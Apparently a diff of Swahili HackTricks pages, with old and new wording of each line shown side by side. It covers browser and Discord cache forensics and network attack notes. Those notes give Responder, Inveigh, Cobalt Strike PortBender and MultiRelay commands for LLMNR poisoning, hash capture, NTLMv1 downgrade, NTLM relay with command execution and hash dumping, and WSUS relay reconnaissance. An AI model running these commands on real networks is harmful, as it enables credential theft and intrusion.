- **History**: Ina URLs, downloads, na maneno ya utafutaji. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) inaweza kutumika kusoma history. Safu ya "Transition Type" ina maana mbalimbali, ikiwa ni pamoja na bonyezo la mtumiaji kwenye link, URLs zilizotiwa kwa mkono, uwasilishaji wa fomu, na reload za ukurasa.
- **Cookies**: Inahifadhi cookies. Kwa uchunguzi, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) inapatikana.
- **Cache**: Inahifadhi data zilizokatwa. Kwa kuzijaribu, watumiaji wa Windows wanaweza kutumia [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Electron-based desktop apps (mfano, Discord) pia hutumia Chromium Simple Cache na huacha artifacts tajiri kwenye disk. Angalia:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: Bookmarks za mtumiaji.
- **Web Data**: Ina historia ya fomu.
- **Favicons**: Inahifadhi favicons za tovuti.
- **Login Data**: Inajumuisha taarifa za kuingia kama vile majina ya watumiaji na nywila.
- **Current Session**/**Current Tabs**: Data kuhusu kikao cha sasa cha kuvinjari na tabo zilizo wazi.
- **Last Session**/**Last Tabs**: Taarifa kuhusu tovuti zilizokuwa hai wakati wa kikao cha mwisho kabla ya Chrome kufungwa.
- **Extensions**: Saraka za nyongeza za kivinjari na addons.
- **Login Data**: Inajumuisha taarifa za kuingia kama usernames na passwords.
- **Current Session**/**Current Tabs**: Data kuhusu session ya sasa ya kuvinjari na tab zilizo wazi.
- **Last Session**/**Last Tabs**: Taarifa kuhusu tovuti zilifanya kazi katika session iliyopita kabla ya Chrome kufungwa.
- **Extensions**: Direktorii za extensions na addons za browser.
- **Thumbnails**: Inahifadhi thumbnails za tovuti.
- **Preferences**: Faili yenye taarifa nyingi, ikiwa ni pamoja na mipangilio ya plugins, nyongeza, pop-ups, arifa, na zaidi.
- **Browsers built-in anti-phishing**: Ili kuangalia kama ulinzi wa kupambana na ulaghai na ulinzi wa malware umewezeshwa, endesha `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Tafuta `{"enabled: true,"}` katika matokeo.
- **Preferences**: Faili iliyo na habari nyingi, ikijumuisha mipangilio ya plugins, extensions, pop-ups, notifications, na mengineyo.
- **Browsers built-in anti-phishing**: Ili kuangalia kama anti-phishing na ulinzi wa malware vimezimwa au vimewezeshwa, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Tafuta `{"enabled: true,"}` katika output.
## **SQLite DB Data Recovery**
Kama unavyoona katika sehemu zilizopita, Chrome na Firefox zote zinatumia **SQLite** databases kuhifadhi data. Inawezekana **kurejesha entries zilizofutwa kwa kutumia zana** [**sqlparse**](https://github.com/padfoot999/sqlparse) **au** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Kama unavyoona katika sehemu zilizo hapo juu, Chrome na Firefox zote hutumia database za **SQLite** kuhifadhi data. Inawezekana **kupata entries zilizofutwa kwa kutumia zana** [**sqlparse**](https://github.com/padfoot999/sqlparse) **au** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 inasimamia data zake na metadata katika maeneo mbalimbali, ikisaidia kutenganisha taarifa zilizohifadhiwa na maelezo yake yanayohusiana kwa urahisi wa ufikiaji na usimamizi.
Internet Explorer 11 inasimamia data na metadata yake katika maeneo mbalimbali, ikiwezesha kugawanya taarifa zilizohifadhiwa na maelezo yake kwa ufikikaji na usimamizi rahisi.
### Metadata Storage
### Uhifadhi wa Metadata
Metadata kwa Internet Explorer huhifadhiwa katika `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (ikiwa na VX ikiwa V01, V16, au V24). Pamoja na hii, faili ya `V01.log` inaweza kuonyesha tofauti za muda wa mabadiliko na `WebcacheVX.data`, ikionyesha hitaji la kurekebisha kwa kutumia `esentutl /r V01 /d`. Metadata hii, iliyohifadhiwa katika database ya ESE, inaweza kurejeshwa na kukaguliwa kwa kutumia zana kama photorec na [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), mtawalia. Ndani ya jedwali la **Containers**, mtu anaweza kutambua jedwali maalum au vyombo ambavyo kila sehemu ya data imehifadhiwa, ikiwa ni pamoja na maelezo ya cache kwa zana nyingine za Microsoft kama Skype.
Metadata ya Internet Explorer imehifadhiwa katika `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (ambapo VX ni V01, V16, au V24). Pamoja na hili, faili ya `V01.log` inaweza kuonyesha tofauti za muda wa mabadiliko ikilinganishwa na `WebcacheVX.data`, jambo linaloonyesha hitaji la ukarabati kwa kutumia `esentutl /r V01 /d`. Metadata hii, iliyohifadhiwa katika ESE database, inaweza kurejeshwa na kuchunguzwa kwa zana kama photorec na [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), mtawalia. Ndani ya jedwali la **Containers**, unaweza kutambua meza maalum au containers ambazo kila kipande cha data kimehifadhiwa, ikijumuisha maelezo ya cache kwa zana nyingine za Microsoft kama Skype.
### Cache Inspection
### Uchunguzi wa Cache
Zana ya [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) inaruhusu ukaguzi wa cache, ikihitaji eneo la saraka ya uchimbaji wa data ya cache. Metadata ya cache inajumuisha jina la faili, saraka, idadi ya ufikiaji, asili ya URL, na alama za muda zinazoonyesha wakati wa uundaji wa cache, ufikiaji, mabadiliko, na muda wa kumalizika.
Zana ya [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) inaruhusu uchunguzi wa cache, na inahitaji eneo la folder la uondoaji wa data za cache. Metadata ya cache inajumuisha jina la faili, directory, idadi ya upatikanaji, chanzo cha URL, na timestamps zinazoonyesha uundaji wa cache, upatikanaji, mabadiliko, na wakati wa kumalizika.
### Cookies Management
### Usimamizi wa Cookies
Cookies zinaweza kuchunguzwa kwa kutumia [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), huku metadata ikijumuisha majina, URLs, idadi ya ufikiaji, na maelezo mbalimbali yanayohusiana na muda. Cookies za kudumu huhifadhiwa katika `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, huku cookies za kikao zikiwa katika kumbukumbu.
Cookies zinaweza kuchunguzwa kwa kutumia [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), na metadata inajumuisha majina, URLs, idadi ya upatikanaji, na maandishi mbalimbali yanayohusiana na muda. Cookies za kudumu zipo katika `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, huku session cookies zikikaa katika memory.
### Download Details
### Maelezo ya Downloads
Metadata ya upakuaji inapatikana kupitia [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), huku vyombo maalum vikihifadhi data kama URL, aina ya faili, na eneo la upakuaji. Faili halisi zinaweza kupatikana chini ya `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Metadata za downloads zinapatikana kupitia [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), na containers maalum zina data kama URL, aina ya faili, na eneo la download. Faili halisi zinaweza kupatikana chini ya `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browsing History
Ili kupitia historia ya kuvinjari, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) inaweza kutumika, ikihitaji eneo la faili za historia zilizochimbwa na usanidi kwa Internet Explorer. Metadata hapa inajumuisha nyakati za mabadiliko na ufikiaji, pamoja na idadi ya ufikiaji. Faili za historia ziko katika `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Ili kupitia browsing history, unaweza kutumia [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), ikihitaji eneo la faili za history zilizochukuliwa na usanidi kwa Internet Explorer. Metadata hapa inajumuisha nyakati za mabadiliko na upatikanaji, pamoja na idadi ya upatikanaji. Faili za history ziko katika `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
URLs zilizotajwa na nyakati zao za matumizi huhifadhiwa ndani ya rejista chini ya `NTUSER.DAT` katika `Software\Microsoft\InternetExplorer\TypedURLs` na `Software\Microsoft\InternetExplorer\TypedURLsTime`, ikifuatilia URLs 50 za mwisho zilizotajwa na mtumiaji na nyakati zao za mwisho za kuingizwa.
Typed URLs na nyakati za matumizi yamehifadhiwa ndani ya registry chini ya NTUSER.DAT katika `Software\Microsoft\InternetExplorer\TypedURLs` na `Software\Microsoft\InternetExplorer\TypedURLsTime`, zikifuatilia URLs 50 za mwisho zilizowekwa na mtumiaji na nyakati zao za mwisho za kuingiza.
## Microsoft Edge
@ -133,30 +139,31 @@ Microsoft Edge huhifadhi data za mtumiaji katika `%userprofile%\Appdata\Local\Pa
## Safari
Data za Safari huhifadhiwa katika `/Users/$User/Library/Safari`. Faili muhimu ni:
Data za Safari ziko katika `/Users/$User/Library/Safari`. Faili muhimu ni pamoja na:
- **History.db**: Inashikilia jedwali la `history_visits` na `history_items` zenye URLs na alama za wakati wa kutembelea. Tumia `sqlite3` kuuliza.
- **History.db**: Inajumuisha jedwali za `history_visits` na `history_items` zenye URLs na timestamps za ziara. Tumia `sqlite3` kuendesha query.
- **Downloads.plist**: Taarifa kuhusu faili zilizopakuliwa.
- **Bookmarks.plist**: Inahifadhi URLs zilizowekwa alama.
- **TopSites.plist**: Tovuti zinazotembelewa mara nyingi.
- **Extensions.plist**: Orodha ya nyongeza za kivinjari cha Safari. Tumia `plutil` au `pluginkit` kupata.
- **UserNotificationPermissions.plist**: Domains zilizoidhinishwa kutuma arifa. Tumia `plutil` kuchambua.
- **LastSession.plist**: Tabo kutoka kikao cha mwisho. Tumia `plutil` kuchambua.
- **Browsers built-in anti-phishing**: Angalia kwa kutumia `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Jibu la 1 linaonyesha kipengele hiki kimewezeshwa.
- **Bookmarks.plist**: Inahifadhi URLs zilizohifadhiwa kama bookmark.
- **TopSites.plist**: Tovuti zinazozungukwa mara nyingi.
- **Extensions.plist**: Orodha ya extensions za browser ya Safari. Tumia `plutil` au `pluginkit` kupata.
- **UserNotificationPermissions.plist**: Domain zilizoidhinishwa kutuma notifications. Tumia `plutil` kusoma.
- **LastSession.plist**: Tabs kutoka kwa session ya mwisho. Tumia `plutil` kusoma.
- **Browsers built-in anti-phishing**: Angalia kwa kutumia `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Jibu la 1 linaonyesha kipengele kimewekwa.
## Opera
Data za Opera ziko katika `/Users/$USER/Library/Application Support/com.operasoftware.Opera` na inashiriki muundo wa Chrome kwa historia na upakuaji.
Data za Opera zipo katika `/Users/$USER/Library/Application Support/com.operasoftware.Opera` na zina muundo sawa na wa Chrome kwa history na downloads.
- **Browsers built-in anti-phishing**: Thibitisha kwa kuangalia kama `fraud_protection_enabled` katika faili ya Preferences imewekwa kuwa `true` kwa kutumia `grep`.
- **Browsers built-in anti-phishing**: Thibitisha kwa kuangalia kama `fraud_protection_enabled` katika faili la Preferences imewekwa kuwa `true` kwa kutumia `grep`.
Njia hizi na amri ni muhimu kwa kufikia na kuelewa data za kuvinjari zilizohifadhiwa na vivinjari tofauti vya wavuti.
Njia hizi na amri ni muhimu kwa kufikia na kuelewa data za kuvinjari zinazohifadhiwa na browsers mbalimbali.
## References
## Marejeleo
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Kitabu: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,89 @@
# Discord Cache Forensics (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
Ukurasa huu unatoa muhtasari wa jinsi ya kuchambua cache artifacts za Discord Desktop ili kupata tena faili zilizotolewa (exfiltrated), endpoints za webhook, na ratiba za shughuli. Discord Desktop ni app ya Electron/Chromium na hutumia Chromium Simple Cache kwenye diski.
## Where to look (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Miundo muhimu kwenye diski ndani ya Cache_Data:
- index: Simple Cache index database
- data_#: Binary cache block files that can contain multiple cached objects
- f_######: Individual cached entries stored as standalone files (often larger bodies)
Kumbuka: Kufuta ujumbe/kanali/seva kwenye Discord hakufuta cache hii ya eneo. Vipengee vilivyo kwenye cache mara nyingi hubaki na timestamps za faili zinaendana na shughuli za mtumiaji, kuruhusu ujenzi wa ratiba.
## What can be recovered
- Viambatisho vilivyotolewa (exfiltrated) na thumbnails zilizopakuliwa kupitia cdn.discordapp.com/media.discordapp.net
- Picha, GIFs, video (mfano .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Miito ya Discord API (https://discord.com/api/vX/…)
- Inasaidia kuoanisha beaconing/exfil shughuli na kukusanya hash za media kwa kulinganisha na intel
## Quick triage (manual)
- Grep cache for high-signal artifacts:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- Sort cached entries by modified time to build a quick timeline (mtime reflects when the object hit cache):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (HTTP body + headers)
Files starting with f_ contain HTTP response headers followed by the body. The header block typically ends with \r\n\r\n. Useful response headers include:
- Content-Type: To infer media type
- Content-Location or X-Original-URL: Original remote URL for preview/correlation
- Content-Encoding: May be gzip/deflate/br (Brotli)
Media can be extracted by splitting headers from body and optionally decompressing based on Content-Encoding. Magic-byte sniffing is useful when Content-Type is absent.
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Recursively scans Discords cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA256 hashes.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
Chaguzi kuu:
- --cache: Njia ya Cache_Data
- --format html|csv|both
- --timeline: Toa timeline ya CSV iliyopangwa (kwa wakati uliorekebishwa / mtime)
- --extra: Pia chunguza Code Cache na GPUCache zilizo jirani
- --carve: Chimba media kutoka bytes ghafi karibu na hits za regex (picha/video)
- Output: Ripoti ya HTML, ripoti ya CSV, timeline ya CSV, na folda ya media yenye mafaili yaliyochimbwa/yaliyotolewa
## Vidokezo vya mchambuzi
- Linganisha modified time (mtime) ya f_* na data_* files na dirisha za shughuli za mtumiaji/mshambuliaji ili kujenga upya timeline.
- Pata hash ya media iliyopatikana (SHA-256) na linganisha dhidi ya datasets zilijulikana kuwa mbaya au za exfil.
- URLs za webhook zilizotolewa zinaweza kujaribiwa kwa uhai (liveness) au kubadilishwa; zingatia kuziweka kwenye blocklists na retro-hunting proxies.
- Cache huendelea kuwepo baada ya “wiping” upande wa server. Ikiwa upatikane acquisition, kusanya directory nzima ya Cache na caches jirani zinazohusiana (Code Cache, GPUCache).
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -7,69 +7,69 @@
### Local Host Resolution Protocols
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa ajili ya kutatua majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
- Protokali hizi zinaweza kukabiliwa na udukuzi na spoofing kutokana na asili yao isiyo na uthibitisho, ya matangazo juu ya UDP.
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kuiga huduma kwa kutuma majibu yaliyotengenezwa kwa wenyeji wanaouliza protokali hizi.
- Taarifa zaidi juu ya kuiga huduma kwa kutumia Responder inaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa utambuzi wa majina ya ndani wakati DNS inashindwa. Kwa namna sawa, mifumo ya Apple na Linux hutumia mDNS.
- Protokoli hizi zinaweza kuingiliwa na kufanyiwa spoofing kutokana na asili yao isiyo na uthibitishaji na ya broadcast kupitia UDP.
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kuiga huduma kwa kutuma majibu bandia kwa mashine zinazofanya maswali kwa protokoli hizi.
- Further information on service impersonation using Responder can be found [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD inaruhusu vivinjari kugundua mipangilio ya proxy kiotomatiki.
- Ugunduzi unarahisishwa kupitia DHCP, DNS, au kurudi kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
- Responder inaweza kuendesha mashambulizi ya WPAD, ikielekeza wateja kwa seva za WPAD zenye uharibifu.
- WPAD inaruhusu visanifu vya wavuti kugundua mipangilio ya proxy moja kwa moja.
- Ugunduzi unafanywa kupitia DHCP, DNS, au kwa kurudia kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
- Responder inaweza kuendesha mashambulizi ya WPAD kiotomatiki, ikielekeza wateja kwa servers za WPAD zenye madhumuni mabaya.
### Responder for Protocol Poisoning
- **Responder** ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, ikijibu kwa kuchagua kulingana na aina za maswali, hasa ikilenga huduma za SMB.
- Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika `/etc/responder/Responder.conf`.
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuziokoa katika saraka ya `/usr/share/responder/logs`.
- **Responder** ni chombo kinachotumika kuchoma sumu (poisoning) maswali ya LLMNR, NBT-NS, na mDNS, kikijibu kwa uchaguo kulingana na aina ya maswali, hasa kulenga huduma za SMB.
- Imetanguliwa kwenye Kali Linux, na inaweza kusanidiwa kwenye `/etc/responder/Responder.conf`.
- Responder inaonyesha hashes zilizokamatwa kwenye skrini na kuziandika kwenye saraka `/usr/share/responder/logs`.
- Inasaidia IPv4 na IPv6.
- Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows).
- Toleo la Responder la Windows linapatikana [here](https://github.com/lgandx/Responder-Windows).
#### Running Responder
- Kuendesha Responder kwa mipangilio ya default: `responder -I <Interface>`
- Kwa uchunguzi mkali zaidi (ikiwa na athari zinazoweza kutokea): `responder -I <Interface> -P -r -v`
- Mbinu za kukamata changamoto/jibu za NTLMv1 kwa urahisi wa kuvunja: `responder -I <Interface> --lm --disable-ess`
- Kuiga WPAD kunaweza kuanzishwa kwa: `responder -I <Interface> --wpad`
- Maombi ya NetBIOS yanaweza kutatuliwa kwa IP ya mshambuliaji, na proxy ya uthibitishaji inaweza kuanzishwa: `responder.py -I <interface> -Pv`
- Kuendesha Responder kwa mipangilio ya kawaida: `responder -I <Interface>`
- Kwa uchunguzi mkali zaidi (unaoweza kuwa na madhara): `responder -I <Interface> -P -r -v`
- Mbinu za kukamata changamoto/marudio ya NTLMv1 ili kurahisisha kuvunja: `responder -I <Interface> --lm --disable-ess`
- Kuiga WPAD kunaweza kuwashwa kwa: `responder -I <Interface> --wpad`
- Maombi ya NetBIOS yanaweza kutatuliwa kwenda IP ya mshambulizi, na proxy ya uthibitishaji inaweza kusanidiwa: `responder.py -I <interface> -Pv`
### DHCP Poisoning with Responder
- Kuiga majibu ya DHCP kunaweza kuharibu kwa kudumu taarifa za routing za mwathirika, ikitoa njia ya siri zaidi kuliko kuharibu ARP.
- Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
- Kuendesha shambulizi: `./Responder.py -I eth0 -Pdv`
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuvuruga mtandao.
- Kuiga majibu ya DHCP kunaweza kuchoma sumu taarifa za routing za mwathiriwa kwa kudumu, ikitoa mbadala wa siri zaidi kuliko ARP poisoning.
- Inahitaji ujuzi sahihi wa usanidi wa mtandao wa lengo.
- Kuendesha shambulio: `./Responder.py -I eth0 -Pdv`
- Njia hii inaweza kukamata kwa ufanisi hashes za NTLMv1/2, lakini inahitaji uangalifu wa hali ya juu ili kuepuka kuingiliwa kwa mtandao.
### Capturing Credentials with Responder
- Responder itaimarisha huduma kwa kutumia protokali zilizoelezwa hapo juu, ikikamata akidi (kawaida NTLMv2 Changamoto/Jibu) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizoghushiwa.
- Jaribio linaweza kufanywa kushuka hadi NetNTLMv1 au kuzima ESS kwa urahisi wa kuvunja akidi.
- Responder itaiga huduma kwa kutumia protokoli zilizotajwa hapo juu, ikikamata cheti za utambulisho (kwa kawaida NTLMv2 Challenge/Response) wakati mtumiaji anapojaribu kuthibitisha dhidi ya huduma zilizoigizwa (spoofed).
- Jaribio linaweza kufanywa kushusha kiwango hadi NetNTLMv1 au kuzima ESS ili kurahisisha kuvunja cheti.
Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au ufikiaji usioidhinishwa.
Ni muhimu kutambua kwamba kutumia mbinu hizi kunapaswa kufanyika kisheria na kwa maadili, ikiwa na idhini sahihi na kuepuka kuvuruga au kupata upatikanaji usioidhinishwa.
## Inveigh
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya udukuzi na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh ni chombo kwa penetration testers na red teamers, kilichoundaliwa kwa mifumo ya Windows. Inatoa uwezo unaofanana na Responder, ukifanya spoofing na mashambulizi ya man-in-the-middle. Chombo kimeibuka kutoka script ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ni matoleo makuu. Vigezo na maelekezo ya kina yanapatikana kwenye [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh inaweza kuendeshwa kupitia PowerShell:
Inveigh can be operated through PowerShell:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Au kutekelezwa kama binary ya C#:
Au kutekelezwa kama C# binary:
```bash
Inveigh.exe
```
### NTLM Relay Attack
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa linafanikiwa. Masharti muhimu ni:
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kufikia mashine ya lengo, na kutoa system shell ikiwa limefanikiwa. Vigezo muhimu ni pamoja na:
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
- Saini ya SMB inapaswa kuzuiliwa.
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mashine iliyorelezwa.
- SMB signing inapaswa kuzimwa.
#### 445 Port Forwarding and Tunneling
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
Katika matukio ambapo kuingia moja kwa moja kwenye mtandao hawezekani, trafiki kwenye port 445 inahitaji kupitishwa na kutumishwa kupitia tunnel. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia kuelekeza tena trafiki ya port 445 kwenda port nyingine, jambo muhimu pale local admin access inapatikana kwa ajili ya driver loading.
PortBender setup and operation in Cobalt Strike:
```bash
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Vifaa Vingine vya Shambulio la NTLM Relay
### Zana Nyingine kwa NTLM Relay Attack
- **Metasploit**: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
- **smbrelayx**: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka milango ya nyuma.
- **MultiRelay**: Chombo kutoka kwenye seti ya Responder ili kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
- **Metasploit**: Sanidi kwa proxies, pamoja na maelezo ya mwenyeji wa ndani na wa mbali.
- **smbrelayx**: Ni script ya Python kwa kurelay sessions za SMB na kutekeleza amri au kuweka backdoors.
- **MultiRelay**: Zana kutoka kwenye suite ya Responder kwa kurelay watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
Kila chombo kinaweza kuwekewa mipangilio ili kufanya kazi kupitia proxy ya SOCKS ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
Kila zana inaweza kusanidiwa kufanya kazi kupitia SOCKS proxy ikiwa inahitajika, ikiruhusu mashambulizi hata kwa upatikanaji wa mtandao kwa njia isiyo ya moja kwa moja.
### Uendeshaji wa MultiRelay
MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IP au watumiaji maalum.
MultiRelay inaendeshwa kutoka kwa saraka _**/usr/share/responder/tools**_, ikiwalenga IPs au watumiaji maalum.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,78 +105,138 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Hizi zana na mbinu zinaunda seti kamili ya kufanya mashambulizi ya NTLM Relay katika mazingira mbalimbali ya mtandao.
Zana hizi na mbinu ni seti kamili kwa kufanya NTLM Relay attacks katika mazingira mbalimbali ya mtandao.
### Kulazimisha NTLM Logins
### Kutumia vibaya WSUS HTTP (8530) kwa NTLM Relay to LDAP/SMB/AD CS (ESC8)
Katika Windows unaweza **kuwa na uwezo wa kulazimisha akaunti fulani zenye mamlaka kuthibitisha kwenye mashine zisizo za kawaida**. Soma ukurasa ufuatao kujifunza jinsi:
Wateja wa WSUS huthibitisha kwa seva yao ya masasisho kwa kutumia NTLM juu ya HTTP (8530) au HTTPS (8531). Wakati HTTP imewezeshwa, kuingia kwa wateja kwa vipindi kunaweza kulazimishwa au kuingiliwa kwenye sehemu ya ndani na kupelekwa kwa ntlmrelayx kwenda LDAP/LDAPS/SMB au AD CS HTTP endpoints (ESC8) bila kuvunja hashes yoyote. Hii inaingia ndani ya trafiki ya masasisho ya kawaida na mara nyingi huzaa uthibitisho wa akaunti za mashine (HOST$).
What to look for
- Usanidi wa GPO/registry chini ya HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate na ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (URL ya kuripoti)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (saa)
- WSUS SOAP endpoints zinazotumiwa na wateja juu ya HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Skana kwa listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- Sniff HTTP WSUS traffic via L2 MITM na andika wateja/endpoint zinazofanya kazi kwa wsusniff.py (HTTP tu isipokuwa ukifanikiwa kufanya wateja waamini TLS cert yako).
- Authenticated
- Parse SYSVOL GPOs kwa funguo za WSUS kwa MANSPIDER + regpol (wsuspider.sh wrapper inatoa muhtasari wa WUServer/WUStatusServer/UseWUServer).
- Query endpoints kwa wingi kutoka hosts (NetExec) au kwa localhost:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
